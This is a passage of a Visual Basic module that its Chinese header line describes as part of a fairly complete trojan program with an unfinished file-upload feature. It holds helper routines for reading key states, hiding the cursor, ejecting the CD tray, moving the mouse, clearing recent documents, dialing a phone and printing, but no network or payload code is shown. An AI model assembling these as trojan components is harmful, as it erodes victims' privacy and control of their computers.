modfunction.bas

一个较为完整的VB木马程序。只是文件上传功能还不太完善。

'另外时间缩短了
    If GetShift = True Then
        Shift = 1 '如果移动
        Shf = Char1 '那么第一符被显示
    Else
        Shift = 0 '如果不移动
        Shf = Char2 '那么第二符被显示
    End If
End Function

Public Function GetSystemParameters(Info, Newsetting)
    Dim es
    es = SystemParametersInfo(Info, Newsetting, GetSystemParameters, 0)
End Function

Public Function KeyboardInfo()
    Dim X
    X = GetKeyboardType(0)
    If X = 1 Then
        KeyboardInfo = "PC or compatible 83-key keyboard"
    ElseIf X = 2 Then
        KeyboardInfo = "Olivetti 102-key keyboard"
    ElseIf X = 3 Then
        KeyboardInfo = "AT or compatible 84-key keyboard"
    ElseIf X = 4 Then
        KeyboardInfo = "Enhanced 101- or 102-key keyboard"
    ElseIf X = 5 Then
        KeyboardInfo = "Nokia 1050 keyboard"
    ElseIf X = 6 Then
        KeyboardInfo = "Nokia 9140 keyboard"
    ElseIf X = 7 Then
        KeyboardInfo = "Japanese keyboard"
    End If
End Function

Public Function GetCaretBlink()
    GetCaretBlink = GetCaretBlinkTime
End Function

Public Function SetCaretBlink(MSec)
    SetCaretBlinkTime MSec
End Function

Public Function GetDoubleClick()
    GetDoubleClick = GetDoubleClickTime
End Function

Public Function SetDoubleClick(MSec)
    SetDoubleClickTime MSec
End Function

Public Function GetSysInfo()
    GetSystemInfo System
End Function

Public Function ShowProperties(FileName As String, OwnerhWnd As Long)
    Dim SEI As SHELLEXECUTEINFO
    Dim r As Long
    With SEI
        .cbSize = Len(SEI)
        .fMask = SEE_MASK_NOCLOSEPROCESS Or SEE_MASK_INVOKEIDLIST Or SEE_MASK_FLAG_NO_UI
        .hWnd = OwnerhWnd
        .lpVerb = "properties"
        .lpFile = FileName
        .lpParameters = vbNullChar
        .lpDirectory = vbNullChar
        .nShow = 0
        .hInstApp = 0
        .lpIDList = 0
    End With
    r = ShellExecuteEX(SEI)
End Function

Public Function ClearDocuments()
    Call SHAddToRecentDocs(2, vbNullString)
End Function

Public Function AddToDocuments(FileName As String)
    Call SHAddToRecentDocs(2, FileName)
End Function

Public Function PhoneCall(Number As String, Name As String)
    Dim lRetVal As Long
    lRetVal = tapiRequestMakeCall(Trim$(Number), App.Title, Trim$(Name), "")
    If lRetVal <> 0 Then
    End If
End Function

'可选用：
'Public Function IsNumLockOn()
'    GetKeyboardState kbArray
'    IsNumLockOn = kbArray.kbByte(VK_NUMLOCK)
'End Function

Public Function StayOnTop(TheForm As Form)
    SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, flags)
End Function

'可选用：
'Public Function StartScreensaver(FormN As Form)
'    Dim result As Long
'    result = SendMessage(FormN.hwnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
'End Function

Public Function MilliToHMS(Milliseconds)
    Dim Sec, Min0, Min, Hr
    Hr = Fix(Milliseconds / 3600000)
    Min0 = Fix(Milliseconds Mod 3600000)
    Min = Fix(Min0 / 60000)
    Sec = Fix(Min0 Mod 60000)
    Sec = Fix(Sec / 1000)
    If Len(Sec) = 1 Then
        Sec = "0" & Sec
    End If
    If Len(Min) = 1 Then
        Min = "0" & Min
    End If
    If Len(Hr) = 1 Then
        Hr = "0" & Hr
    End If
    MilliToHMS = Hr & ":" & Min & ":" & Sec
End Function

Public Function GetTimeOnWindows()
    GetTimeOnWindows = MilliToHMS(GetTickCount&)
End Function

Public Function Cursor(Enabled As Boolean)
    Dim Retcode
    For i = 1 To 50000
        Retcode = ShowCursor(Enabled)
    Next i
End Function

Public Function IsThereASoundCard()
    Dim i As Integer
    i = auxGetNumDevs()
    If i > 0 Then
        IsThereASoundCard = 1
    Else
        IsThereASoundCard = 0
    End If
End Function

Public Function DriveBytesFree(DriveLetter As Integer)
    XDriveInfo
    DriveBytesFree = (vararyDriveInfo(DriveLetter, 9))
End Function

Public Function DriveTotalBytes(DriveLetter As Integer)
    XDriveInfo
    DriveTotalBytes = (vararyDriveInfo(DriveLetter, 8))
End Function

Public Function DrivePercentFree(DriveLetter As Integer)
    XDriveInfo
    On Error Resume Next
    DrivePercentFree = (DriveBytesFree(DriveLetter) / DriveTotalBytes(DriveLetter)) * 100
End Function

Public Function DriveOtherInfo(DriveLetter As Integer, InfoCode)
    XDriveInfo
    DriveOtherInfo = (vararyDriveInfo(DriveLetter, InfoCode))
End Function

Public Function XDriveInfo()
    '代表的命令：
    '1  = Is there a drive for this letter
    '2  = Drive Letter
    '3  = Drive Type  2: Floppy, 3: Disk Fixed 4: Disk Remote
    '4  = Sectors
    '5  = Bytes / Sector
    '6  = Number of free sectors
    '7  = Total Clusters
    '8  = Total Bytes
    '9  = Free Bytes
    '10 = Percent of Free Bytes
    '11 = Vol Name
    Dim ournum As Long, rv As Long, DriveType As Long, c  As Long, d As Long
    Dim E As Long, F As Long, H As Long, Counter As Integer, CompareTo
    Dim tmpDrvLet As String
    Dim SectorsPerCluster&, BytesPerSector&, NumberOfFreeClustors&, TotalNumberOfClustors&
    Dim BytesFreeas, bytesTotal, FreeBytes, TotalBytes As Variant
    Dim dl&, lpVolumeSerialNumber&, lpMaximumComponentLength&, lpFileSystemFlags&
    Dim lpVolumeNameBuffer As String, rcDim As String, B As String
    Dim G As String, s$, sz&
    rv = GetLogicalDrives&()
    If rv = 0 Then
        Stop
        Exit Function
    End If
    B = String$(255, 0)
    c = 200
    G = String$(255, 0)
    H = 100
    For Counter = 1 To 26
        CompareTo = (2 ^ (Counter - 1))
        If (rv And CompareTo) <> 0 Then
            vararyDriveInfo(Counter, 1) = True
            tmpDrvLet = Chr(Counter + 64)
            vararyDriveInfo(Counter, 2) = tmpDrvLet
            tmpDrvLet = tmpDrvLet & ":\"
            DriveType = GetDriveType&(tmpDrvLet)
            vararyDriveInfo(Counter, 3) = DriveType
            If DriveType = 3 Or DriveType = 4 Then
                rc = GetVolumeInformation(A, B, c, d, E, F, G, H)
                vararyDriveInfo(Counter, 11) = B
                dl& = GetDiskFreeSpace(tmpDrvLet, SectorsPerCluster, BytesPerSector, NumberOfFreeClustors, TotalNumberOfClustors)
                vararyDriveInfo(Counter, 4) = Format(SectorsPerCluster, "#,0")
                vararyDriveInfo(Counter, 5) = Format(BytesPerSector, "#,0")
                vararyDriveInfo(Counter, 6) = Format(NumberOfFreeClustors, "#,0")
                vararyDriveInfo(Counter, 7) = Format(TotalNumberOfClustors, "#,0")
                TotalBytes = (TotalNumberOfClustors / 100) * (SectorsPerCluster / 100) * (BytesPerSector / 100)
                vararyDriveInfo(Counter, 8) = Format(TotalBytes, "#,0")
                FreeBytes = (NumberOfFreeClustors / 100) * (SectorsPerCluster / 100) * (BytesPerSector / 100)
                vararyDriveInfo(Counter, 9) = Format(FreeBytes, "#,0")
                vararyDriveInfo(Counter, 10) = Format(FreeBytes / TotalBytes, "Percent")
            End If
        Else      ' *** 不驱动？然后定义到false
            vararyDriveInfo(Counter, 1) = False
        End If
    Next Counter
End Function

Public Function PrintText(Texty As String)
    Dim lPrinter As Long
    Dim lRet As Long
    Dim lDoc As Long
    Dim udtDocInfo As DOCINFO
    Dim lWritten As Long
    
    lRet = OpenPrinter(Printer.DeviceName, lPrinter, 0)
    If lRet = 0 Then
        Exit Function
    End If
    
    udtDocInfo.pDocName = "-"
    udtDocInfo.pOutputFile = vbNullString
    udtDocInfo.pDatatype = vbNullString
    lDoc = StartDocPrinter(lPrinter, 1, udtDocInfo)
    Call StartPagePrinter(lPrinter)
    lRet = WritePrinter(lPrinter, ByVal Texty, Len(Texty), lWritten)
    lRet = EndPagePrinter(lPrinter)
    lRet = EndDocPrinter(lPrinter)
    lRet = ClosePrinter(lPrinter)
End Function

Public Function SetCursorP(X, Y)
    SetCursorPos X, Y
End Function

Public Function GetCursorX()
    Dim dl&
    dl& = GetCursorPos(pt)
    GetCursorX = pt.X
End Function

Public Function GetCursorY()
    Dim dl&
    dl& = GetCursorPos(pt)
    GetCursorY = pt.Y
End Function

Public Function OpenCDROM()
    SendMCIString "set cd door open", True
End Function

Public Function CloseCDROM()
    SendMCIString "set cd door closed", True
End Function

'如果Ctrl被按返回True
Function CtrlKey() As Boolean
    CtrlKey = (GetAsyncKeyState(vbKeyControl) And &H8000)
End Function
' 如果Shift被按返回True

Function ShiftKey() As Boolean
    ShiftKey = (GetAsyncKeyState(vbKeyShift) And &H8000)
End Function
'如果Alt被按返回True
Function AltKey() As Boolean
    AltKey = (GetAsyncKeyState(vbKeyMenu) And &H8000)
End Function

Public Function KeysPressed(ByVal KeyCode1 As KeyCodeConstants, Optional ByVal KeyCode2 As KeyCodeConstants, Optional ByVal KeyCode3 As KeyCodeConstants) As Boolean
    If GetAsyncKeyState(KeyCode1) >= 0 Then Exit Function
    If KeyCode2 = 0 Then KeysPressed = True: Exit Function
    If GetAsyncKeyState(KeyCode2) >= 0 Then Exit Function
    If KeyCode3 = 0 Then KeysPressed = True: Exit Function
    If GetAsyncKeyState(KeyCode3) >= 0 Then Exit Function
    KeysPressed = True
End Function
' 读取CapsLock的状态

Public Function GetCapsLock() As Boolean
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' for toggle keys, bit 0 reflects the cu
    '     rrent state
    GetCapsLock = (keystat(vbKeyCapital) And 1)
End Function
' 修改CapsLock状态

Public Function SetCapsLock(ByVal newValue As Boolean)
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' modify bit 0 of the relevant item, and
    '     store back
    keystat(vbKeyCapital) = (keystat(vbKeyCapital) And &HFE) Or (newValue And 1)